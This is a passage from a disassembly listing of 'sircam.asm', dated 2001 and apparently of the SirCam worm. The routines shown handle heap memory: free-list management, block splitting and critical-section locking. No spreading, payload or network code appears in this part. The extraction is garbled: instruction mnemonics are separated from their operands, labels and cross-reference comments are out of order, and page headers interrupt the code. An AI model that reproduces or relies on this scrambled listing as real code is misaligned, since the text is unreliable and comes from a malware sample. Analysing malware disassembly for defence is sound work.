lea
sub
cmp
jg
mov
sub
; CODE XREF: sub_401CF8+61\031p
ebx
esi
edi
ebp
esp, 0FFFFFFF8h
edi, edx
esi, eax
eax, esi
sub_401B0C
ebx, eax
ebp, [ebx+8]
eax, ebp
eax, [ebx+0Ch]
edx, eax
ecx, [edi+esi]
edx, ecx
edx, 0Ch
short loc_401C8C
edi, eax
edi, esi
loc_401C8C:
; CODE XREF: sub_401C60+26\030j
mov
eax, esi
sub
eax, ebp
cmp
eax, 0Ch
jge
short loc_401CA7
mov
ecx, esp
mov
edx, esi
sub
edx, [ebx+8]
add
edx, edi
mov
eax, ebp
call
sub_401878
jmp
short loc_401CB6
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401CA7:
; CODE XREF: sub_401C60+33\030j
mov
mov
sub
lea
call
loc_401CB6:
ecx, esp
edx, edi
edx, 4
eax, [esi+4]
sub_401878
; CODE XREF: sub_401C60+45\030j
mov
ebp, [esp+8+var_8]
test
ebp, ebp
jnz
short loc_401CC1
xor
eax, eax
jmp
short loc_401CF1
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
loc_401CC1:
mov
sub
mov
call
mov
add
mov
add
cmp
jnb
lea
sub
call
; CODE XREF: sub_401C60+5B\030j
edx, ebp
edx, esi
eax, esi
sub_401B3C
eax, ebp
eax, [esp+8+var_4]
edx, [ebx+8]
edx, [ebx+0Ch]
eax, edx
short loc_401CE6
edx, [edi+esi]
edx, eax
sub_401B90
mov
mov
call
mov
edx, esp
eax, ebx
sub_40138C
al, 1
pop
pop
pop
pop
pop
pop
retn
endp
ecx
edx
ebp
edi
esi
ebx
loc_401CE6:
; CODE XREF: sub_401C60+7A\030j
loc_401CF1:
sub_401C60
24
; CODE XREF: sub_401C60+5F\030j
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_401CF8
proc near
push
push
push
mov
mov
mov
mov
mov
add
sub
mov
cmp
jg
mov
test
jns
add
; CODE XREF: sub_401B3C+16\030p
; sub_401EE4+BB\031p ...
ebx
esi
edi
esi, edx
edi, eax
ebx, edi
[ebx+8], esi
eax, ebx
eax, esi
eax, 0Ch
[eax+8], esi
esi, 1000h
short loc_401D4D
edx, esi
edx, edx
short loc_401D1F
edx, 3
loc_401D1F:
; CODE XREF: sub_401CF8+22\030j
sar
edx, 2
mov
eax, ds:dword_41E488
mov
eax, [eax+edx*4-0Ch]
test
eax, eax
jnz
short loc_401D3F
mov
eax, ds:dword_41E488
mov
[eax+edx*4-0Ch], ebx
mov
[ebx+4], ebx
mov
[ebx], ebx
jmp
short loc_401D79
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401D3F:
; CODE XREF: sub_401CF8+35\030j
sircam.asm
Fri Aug 10 12:42:44 2001
25
mov
edx, [eax]
mov
[ebx+4], eax
mov
[ebx], edx
mov
[eax], ebx
mov
[edx+4], ebx
jmp
short loc_401D79
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401D4D:
; CODE XREF: sub_401CF8+1C\030j
cmp
jl
mov
mov
call
test
jnz
esi, 3C00h
short loc_401D62
edx, esi
eax, edi
sub_401C60
al, al
short loc_401D79
mov
mov
mov
mov
mov
mov
mov
; CODE XREF: sub_401CF8+5B\030j
eax, ds:dword_41E47C
ds:dword_41E47C, ebx
edx, [eax]
[ebx+4], eax
[ebx], edx
[eax], ebx
[edx+4], ebx
loc_401D62:
loc_401D79:
sub_401CF8
; CODE XREF: sub_401CF8+45\030j
; sub_401CF8+53\030j ...
pop
pop
pop
retn
endp
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_401D80
proc near
; CODE XREF: sub_401DCC+F\031p
; sub_402160+100\031p ...
cmp
ds:dword_41E480, 0
jle
short locret_401DC9
cmp
ds:dword_41E480, 0Ch
jge
short loc_401D9E
mov
ds:dword_41E42C, 7
jmp
short locret_401DC9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401D9E:
mov
or
mov
mov
mov
add
call
xor
mov
xor
mov
locret_401DC9:
sub_401D80
; CODE XREF: sub_401D80+10\030j
eax, ds:dword_41E480
eax, 2
edx, ds:dword_41E484
[edx], eax
eax, ds:dword_41E484
eax, 4
sub_401B6C
eax, eax
ds:dword_41E484, eax
eax, eax
ds:dword_41E480, eax
; CODE XREF: sub_401D80+7\030j
; sub_401D80+1C\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
sircam.asm
Fri Aug 10 12:42:44 2001
26
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_401DCC
proc near
var_10
var_8
var_4
= byte ptr -10h
= dword ptr -8
= dword ptr -4
; CODE XREF: sub_401E58+18\031p
; sub_401E84+1D\031p
push
ebx
push
esi
push
edi
add
esp, 0FFFFFFF0h
mov
esi, eax
lea
edi, [esp+10h+var_10]
movsd
movsd
mov
edi, esp
call
sub_401D80
lea
ecx, [esp+10h+var_8]
mov
edx, edi
mov
eax, offset dword_41E48C
call
sub_401318
mov
ebx, [esp+10h+var_8]
test
ebx, ebx
jnz
short loc_401DFC
xor
eax, eax
jmp
short loc_401E4E
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401DFC:
; CODE XREF: sub_401DCC+2A\030j
mov
cmp
jnb
call
sub
add
eax, [edi]
ebx, eax
short loc_401E0C
sub_401BB8
[edi], eax
[edi+4], eax
mov
add
mov
add
cmp
jnb
call
add
; CODE XREF: sub_401DCC+34\030j
eax, [edi]
eax, [edi+4]
esi, ebx
esi, [esp+10h+var_4]
eax, esi
short loc_401E23
sub_401C28
[edi+4], eax
mov
add
cmp
jnz
sub
mov
call
sub
; CODE XREF: sub_401DCC+4D\030j
eax, [edi]
eax, [edi+4]
esi, eax
short loc_401E3D
eax, 4
edx, 4
sub_401B3C
dword ptr [edi+4], 4
mov
mov
mov
mov
mov
; CODE XREF: sub_401DCC+5E\030j
eax, [edi]
ds:dword_41E484, eax
eax, [edi+4]
ds:dword_41E480, eax
al, 1
add
pop
esp, 10h
edi
loc_401E0C:
loc_401E23:
loc_401E3D:
loc_401E4E:
; CODE XREF: sub_401DCC+2E\030j
sircam.asm
sub_401DCC
Fri Aug 10 12:42:44 2001
pop
pop
retn
endp
27
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_401E58
proc near
var_8
= dword ptr -8
push
add
mov
mov
lea
call
cmp
jz
mov
call
test
jnz
; CODE XREF: sub_401EE4+57\031p
ebx
esp, 0FFFFFFF8h
ebx, eax
edx, esp
eax, [ebx+4]
sub_4016C4
[esp+8+var_8], 0
short loc_401E79
eax, esp
sub_401DCC
al, al
short loc_401E7D
loc_401E79:
; CODE XREF: sub_401E58+14\030j
xor
eax, eax
jmp
short loc_401E7F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401E7D:
; CODE XREF: sub_401E58+1F\030j
mov
al, 1
pop
pop
pop
retn
endp
ecx
edx
ebx
loc_401E7F:
sub_401E58
; CODE XREF: sub_401E58+23\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_401E84
proc near
var_8
= dword ptr -8
push
push
add
mov
mov
mov
lea
mov
call
cmp
jz
mov
call
test
jnz
loc_401EAA:
; CODE XREF: sub_402304+199\031p
ebx
esi
esp, 0FFFFFFF8h
esi, edx
ebx, eax
ecx, esp
edx, [esi+4]
eax, ebx
sub_401754
[esp+8+var_8], 0
short loc_401EAA
eax, esp
sub_401DCC
al, al
short loc_401EAE
; CODE XREF: sub_401E84+19\030j
sircam.asm
Fri Aug 10 12:42:44 2001
28
xor
eax, eax
jmp
short loc_401EB0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401EAE:
; CODE XREF: sub_401E84+24\030j
mov
al, 1
pop
pop
pop
pop
retn
endp
ecx
edx
esi
ebx
loc_401EB0:
sub_401E84
; CODE XREF: sub_401E84+28\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_401EB8
proc near
; CODE XREF: sub_401EE4+4A\031p
xor
edx, edx
test
eax, eax
jns
short loc_401EC1
add
eax, 3
loc_401EC1:
; CODE XREF: sub_401EB8+4\030j
sar
cmp
jg
eax, 2
eax, 400h
short loc_401EE1
mov
mov
test
jnz
inc
cmp
jnz
; CODE XREF: sub_401EB8+27\031j
edx, ds:dword_41E488
edx, [edx+eax*4-0Ch]
edx, edx
short loc_401EE1
eax
eax, 401h
short loc_401ECB
loc_401ECB:
loc_401EE1:
sub_401EB8
; CODE XREF: sub_401EB8+11\030j
; sub_401EB8+1F\030j
mov
retn
endp
eax, edx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_401EE4
proc near
; CODE XREF: sub_401FD8+14B\031p
push
ebx
push
esi
push
edi
push
ebp
mov
esi, eax
mov
edi, offset dword_41E47C
mov
ebp, offset dword_41E480
loc_401EF4:
mov
cmp
jle
mov
mov
cmp
jle
mov
; CODE XREF: sub_401EE4+6A\031j
ebx, ds:dword_41E474
esi, [ebx+8]
loc_401F87
ebx, [edi]
eax, [ebx+8]
esi, eax
short loc_401F87
[ebx+8], esi
sircam.asm
Fri Aug 10 12:42:44 2001
29
loc_401F0F:
; CODE XREF: sub_401EE4+31\031j
mov
ebx, [ebx+4]
cmp
esi, [ebx+8]
jg
short loc_401F0F
mov
edx, [edi]
mov
[edx+8], eax
cmp
ebx, [edi]
jz
short loc_401F24
mov
[edi], ebx
jmp
short loc_401F87
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401F24:
; CODE XREF: sub_401EE4+3A\030j
cmp
jg
mov
call
mov
test
jnz
esi, 1000h
short loc_401F39
eax, esi
sub_401EB8
ebx, eax
ebx, ebx
short loc_401F87
loc_401F39:
; CODE XREF: sub_401EE4+46\030j
mov
eax, esi
call
sub_401E58
test
al, al
jnz
short loc_401F4B
xor
eax, eax
jmp
loc_401FD3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401F4B:
cmp
jg
sub
cmp
jge
add
xor
mov
; CODE XREF: sub_401EE4+5E\030j
esi, [ebp+0]
short loc_401EF4
[ebp+0], esi
dword ptr [ebp+0], 0Ch
short loc_401F61
esi, [ebp+0]
eax, eax
[ebp+0], eax
loc_401F61:
; CODE XREF: sub_401EE4+73\030j
mov
eax, ds:dword_41E484
add
ds:dword_41E484, esi
mov
edx, esi
or
edx, 2
mov
[eax], edx
add
eax, 4
inc
ds:dword_41E41C
sub
esi, 4
add
ds:dword_41E420, esi
jmp
short loc_401FD3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401F87:
; CODE XREF: sub_401EE4+19\030j
; sub_401EE4+26\030j ...
mov
eax, ebx
call
sub_401AA8
mov
edx, [ebx+8]
mov
eax, edx
sub
eax, esi
cmp
eax, 0Ch
jl
short loc_401FA6
mov
edx, ebx
add
edx, esi
xchg
eax, edx
call
sub_401CF8
jmp
short loc_401FB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401FA6:
; CODE XREF: sub_401EE4+B4\030j
sircam.asm
Fri Aug 10 12:42:44 2001
mov
cmp
jnz
mov
mov
esi, edx
ebx, [edi]
short loc_401FB1
eax, [ebx+4]
[edi], eax
mov
add
and
; CODE XREF: sub_401EE4+C6\030j
eax, ebx
eax, esi
dword ptr [eax], 0FFFFFFFEh
mov
mov
or
mov
add
inc
sub
add
; CODE XREF: sub_401EE4+C0\030j
eax, ebx
edx, esi
edx, 2
[eax], edx
eax, 4
ds:dword_41E41C
esi, 4
ds:dword_41E420, esi
loc_401FB1:
loc_401FB8:
loc_401FD3:
sub_401EE4
30
; CODE XREF: sub_401EE4+62\030j
; sub_401EE4+A1\030j
pop
pop
pop
pop
retn
endp
ebp
edi
esi
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_401FD8
proc near
var_8
var_4
= dword ptr -8
= dword ptr -4
; CODE XREF: sub_4024D4+5C\031p
; sub_402598+4\031j ...
push
ebp
mov
ebp, esp
add
esp, 0FFFFFFF8h
push
ebx
push
esi
push
edi
mov
ebx, eax
cmp
ds:byte_41E428, 0
jnz
short loc_401FFF
call
sub_401904
test
al, al
jnz
short loc_401FFF
xor
eax, eax
mov
[ebp+var_4], eax
jmp
loc_402153
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_401FFF:
; CODE XREF: sub_401FD8+12\030j
; sub_401FD8+1B\030j
xor
push
push
push
mov
cmp
jz
push
call
ecx, ecx
ebp
offset loc_40214C
dword ptr fs:[ecx]
fs:[ecx], esp
ds:byte_41E041, 0
short loc_402020
offset unk_41E430
j_EnterCriticalSection
sircam.asm
Fri Aug 10 12:42:44 2001
loc_402020:
31
; CODE XREF: sub_401FD8+3C\030j
add
and
cmp
jge
mov
ebx, 7
ebx, 0FFFFFFFCh
ebx, 0Ch
short loc_402030
ebx, 0Ch
cmp
jg
mov
test
jns
add
ebx, 1000h
loc_4020CF
eax, ebx
eax, eax
short loc_402045
eax, 3
sar
mov
mov
test
jz
mov
mov
add
and
mov
cmp
jnz
mov
test
jns
add
; CODE XREF: sub_401FD8+68\030j
eax, 2
edx, ds:dword_41E488
edx, [edx+eax*4-0Ch]
edx, edx
short loc_4020CF
esi, edx
eax, esi
eax, ebx
dword ptr [eax], 0FFFFFFFEh
eax, [edx+4]
edx, eax
short loc_402080
eax, ebx
eax, eax
short loc_40206F
eax, 3
loc_402030:
; CODE XREF: sub_401FD8+51\030j
loc_402045:
loc_40206F:
; CODE XREF: sub_401FD8+92\030j
sar
eax, 2
mov
ecx, ds:dword_41E488
xor
edi, edi
mov
[ecx+eax*4-0Ch], edi
jmp
short loc_4020A6
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402080:
; CODE XREF: sub_401FD8+8C\030j
mov
test
jns
add
ecx, ebx
ecx, ecx
short loc_402089
ecx, 3
sar
mov
mov
mov
mov
mov
mov
mov
mov
; CODE XREF: sub_401FD8+AC\030j
ecx, 2
edi, ds:dword_41E488
[edi+ecx*4-0Ch], eax
ecx, [edx]
[ebp+var_8], ecx
ecx, [ebp+var_8]
[ecx+4], eax
ecx, [ebp+var_8]
[eax], ecx
mov
mov
or
mov
add
mov
inc
sub
add
call
jmp
; CODE XREF: sub_401FD8+A6\030j
eax, esi
edx, [edx+8]
edx, 2
[eax], edx
eax, 4
[ebp+var_4], eax
ds:dword_41E41C
ebx, 4
ds:dword_41E420, ebx
sub_403038
loc_402153
loc_402089:
loc_4020A6:
sircam.asm
Fri Aug 10 12:42:44 2001
32
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4020CF:
cmp
jg
sub
cmp
jge
add
xor
mov
; CODE XREF: sub_401FD8+5E\030j
; sub_401FD8+7C\030j
ebx, ds:dword_41E480
short loc_402121
ds:dword_41E480, ebx
ds:dword_41E480, 0Ch
short loc_4020F3
ebx, ds:dword_41E480
eax, eax
ds:dword_41E480, eax
loc_4020F3:
; CODE XREF: sub_401FD8+10C\030j
mov
eax, ds:dword_41E484
add
ds:dword_41E484, ebx
mov
edx, ebx
or
edx, 2
mov
[eax], edx
add
eax, 4
mov
[ebp+var_4], eax
inc
ds:dword_41E41C
sub
ebx, 4
add
ds:dword_41E420, ebx
call
sub_403038
jmp
short loc_402153
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402121:
mov
call
mov
xor
pop
pop
pop
mov
push
; CODE XREF: sub_401FD8+FD\030j
eax, ebx
sub_401EE4
[ebp+var_4], eax
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_402153
cmp
jz
push
call
; CODE XREF: sub_401FD8+179\031j
ds:byte_41E041, 0
short locret_40214B
offset unk_41E430
j_LeaveCriticalSection
loc_402138:
locret_40214B:
; CODE XREF: sub_401FD8+167\030j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40214C:
; DATA XREF: sub_401FD8+2A\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_402138
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402153:
sub_401FD8
; CODE XREF: sub_401FD8+22\030j
; sub_401FD8+F2\030j ...
mov
pop
pop
pop
pop
pop
pop
retn
endp
eax, [ebp+var_4]
edi
esi
ebx
ecx
ecx
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
sircam.asm
Fri Aug 10 12:42:44 2001
33
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_402160
proc near
var_4
= dword ptr -4
; CODE XREF: sub_401B6C+1C\030p
; sub_4024D4+88\031p ...
push
ebp
mov
ebp, esp
push
ecx
push
ebx
push
esi
push
edi
mov
ebx, eax
xor
eax, eax
mov
ds:dword_41E42C, eax
cmp
ds:byte_41E428, 0
jnz
short loc_402198
call
sub_401904
test
al, al
jnz
short loc_402198
mov
ds:dword_41E42C, 8
mov
[ebp+var_4], 8
jmp
loc_4022F9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402198:
; CODE XREF: sub_402160+17\030j
; sub_402160+20\030j
xor
push
push
push
mov
cmp
jz
push
call
ecx, ecx
ebp
offset loc_4022F2
dword ptr fs:[ecx]
fs:[ecx], esp
ds:byte_41E041, 0
short loc_4021B9
offset unk_41E430
j_EnterCriticalSection
loc_4021B9:
; CODE XREF: sub_402160+4D\030j
mov
esi, ebx
sub
esi, 4
mov
ebx, [esi]
test
bl, 2
jnz
short loc_4021D4
mov
ds:dword_41E42C, 9
jmp
loc_4022C9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4021D4:
dec
mov
and
sub
sub
test
jz
mov
sub
mov
cmp
jl
test
jz
loc_402204:
; CODE XREF: sub_402160+63\030j
ds:dword_41E41C
eax, ebx
eax, 7FFFFFFCh
eax, 4
ds:dword_41E420, eax
bl, 1
short loc_402234
eax, esi
eax, 0Ch
edx, [eax+8]
edx, 0Ch
short loc_402204
edx, 80000003h
short loc_402213
; CODE XREF: sub_402160+9A\030j
mov
ds:dword_41E42C, 0Ah
jmp
loc_4022C9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
34
loc_402213:
; CODE XREF: sub_402160+A2\030j
mov
eax, esi
sub
eax, edx
cmp
edx, [eax+8]
jz
short loc_40222B
mov
ds:dword_41E42C, 0Ah
jmp
loc_4022C9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40222B:
; CODE XREF: sub_402160+BA\030j
add
mov
call
ebx, edx
esi, eax
sub_401AA8
and
mov
add
mov
cmp
jnz
sub
add
cmp
jle
call
; CODE XREF: sub_402160+8D\030j
ebx, 7FFFFFFCh
eax, esi
eax, ebx
edi, eax
edi, ds:dword_41E484
short loc_402274
ds:dword_41E484, ebx
ds:dword_41E480, ebx
ds:dword_41E480, 3C00h
short loc_402265
sub_401D80
loc_402234:
loc_402265:
; CODE XREF: sub_402160+FE\030j
xor
eax, eax
mov
[ebp+var_4], eax
call
sub_403038
jmp
loc_4022F9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402274:
; CODE XREF: sub_402160+E6\030j
mov
edx, [eax]
test
dl, 2
jz
short loc_402297
and
edx, 7FFFFFFCh
cmp
edx, 4
jge
short loc_402292
mov
ds:dword_41E42C, 0Bh
jmp
short loc_4022C9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402292:
; CODE XREF: sub_402160+124\030j
or
dword ptr [eax], 1
jmp
short loc_4022C0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_402297:
mov
cmp
jz
cmp
jz
cmp
jge
; CODE XREF: sub_402160+119\030j
eax, edi
dword ptr [eax+4], 0
short loc_4022AA
dword ptr [eax], 0
short loc_4022AA
dword ptr [eax+8], 0Ch
short loc_4022B6
loc_4022AA:
